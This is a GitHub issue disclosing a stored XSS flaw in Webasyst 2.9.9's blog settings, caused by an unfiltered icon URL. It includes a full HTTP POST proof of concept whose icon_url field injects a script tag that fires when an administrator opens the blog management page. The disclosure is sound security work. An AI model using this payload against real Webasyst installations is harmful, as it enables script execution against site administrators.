Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Webasyst 2.9.9 has a storage XSS vulnerability #377

Open
Hebing123 opened this issue Feb 21, 2024 · 0 comments
Open

Webasyst 2.9.9 has a storage XSS vulnerability #377

Hebing123 opened this issue Feb 21, 2024 · 0 comments

Comments

@Hebing123
Copy link

Hebing123 commented Feb 21, 2024

Summary

Webasyst 2.9.9 has a storage XSS vulnerability,Attackers can create blogs containing malicious code after gaining blog permissions, and even administrators only need to open the page of the blog management function (instead of the specified blog) to be triggered!

Details

image
As you can see, $icon_uri is not filtered in blogHelper.class.php and is concatenated directly into the i tag.

image
We can close the previous i label by " and >.
image

Proof of Concept (POC)

POST /index.php/webasyst/blog/?action=settings&blog=0&module=blog HTTP/1.1
Host: 192.168.160.147:7788
Content-Length: 281
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.160.147:7788
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ti4lm4h4iknp715h4rss5u7g5s
Connection: close

_csrf=65d5ccde9cbb81.61575047&new_route_setup=1&route_domain=192.168.160.147:7788&route_enabled=1&settings[color]=b-gray&settings[icon]=blog&settings[icon_url]=http://bbb.com/\"><ScRiPt>alert(9978)</ScRiPt>&settings[name]=test&settings[status]=on&settings[url]=hebing123hacked

When testing, remember to change the _csrf and Cookie Header in the POC to the corresponding values.

Impact

Create permissions to create malicious attackers hold blog blog, blog management function will be affected, the administrator will trigger open http://ip:port/index.php/webasyst/blog/ (0-click).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant